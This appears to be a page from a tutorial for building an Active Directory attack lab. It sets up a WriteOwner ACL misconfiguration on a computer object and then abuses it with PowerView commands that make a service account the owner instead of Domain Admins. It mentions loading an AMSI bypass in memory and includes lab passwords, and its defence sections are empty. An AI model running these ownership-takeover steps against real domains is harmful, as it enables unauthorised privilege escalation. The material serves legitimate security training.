# Write Owner
## Configuring
1. Login to `DC03` with the Administrator user and the password `Welcome01!`.
2. Open the "Active Directory Users and Computers" administration tool.
3\. Click on "View" and enable "Advanced Features
4\. Click on the "Computers" directory and right click on the "DATA01" computer and select "Properties". Then select "Security" to see the ACL's.
5\. Click on "Add" and type `sa_sql`.
6\. Select the "sa\_sql" user and click "Advanced". Then select the "sa\_sql" once again and click on "Edit". Then select "Modify Owner".
7\. We can quickly run BloodHound to check if the correct permissions are applied to the `sa_sql` user:
It is configured correctly!
## Attacking
### How it works
If a domain object has the WriteOwner ACL, the object can change the owner of the object. In this case the user `SA_SQL` can change the owner of the computerobject `DATA01`. Once you are "Owner" of a object, you can change the DACL of the object.
### Tools
* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
### Executing the attack
1. Download PowerView on the kali machine and host it on a webserver:
```
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
python3 -m http.server 8090
```
2\. Login to `WS01` as Richard with the password `Sample123`.
3\. Start PowerShell and download and execute an amsi and PowerView in memory:
4\. In the page DACL-Abuses I showed you how to check for ACL's using BloodHound. We will abuse the "Write Owner" ACL `sa_sql` has on `DATA01`.
5\. With PowerView we can query the current owner of the computerobject `DATA01`. Since we are queering data from another domain, we will have to provide a username and password for that domain. Create a credential object using the `get-credential` cmdlet:
```
$creds = Get-Credential
```
Then we can use PowerView to query the domain controller from `secure.local` for the domain-object `DATA01` and retrieve the samaccountname and Owner attribute. We will receive a SID which we need to resolve aswell;
```
Get-DomainObject -Identity data01 -SecurityMasks Owner -Domain secure.local -Credential $creds -Server 10.0.0.100 | select samaccountname, Owner
Get-DomainObject -Identity S-1-5-21-1498997062-1091976085-892328878-512 -Domain secure.local -Credential $creds -Server 10.0.0.100
```
The current owner of the computerobject `DATA01` is the group `Domain Admins`.
6\. With PowerView we can change the owner of the object using the `Set-DomainObjectOwner` cmdlet.
```
Set-DomainObjectOwner -Domain secure.local -Credential $creds -Server 10.0.0.100 -Identity DATA01 -OwnerIdentity sa_sql -Verbose
```
7\. We didn't receive any errors, to lets use the same queries again to query the owner of the computerobject DATA01;
8\. We successfully changed the owner of the computerobject from `Domain Admins` to `sa_ql`. The next step will be on the Owns section:
{% content-ref url="/pages/BgXHpzkPLUzj81ysjIoL" %}
[Owns](/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/active-directory-attacks/acl-abuses/owns.md)
{% endcontent-ref %}
## Defending
### Recommendations
### Detection
## References
{% embed url="" %}
{% embed url="" %}
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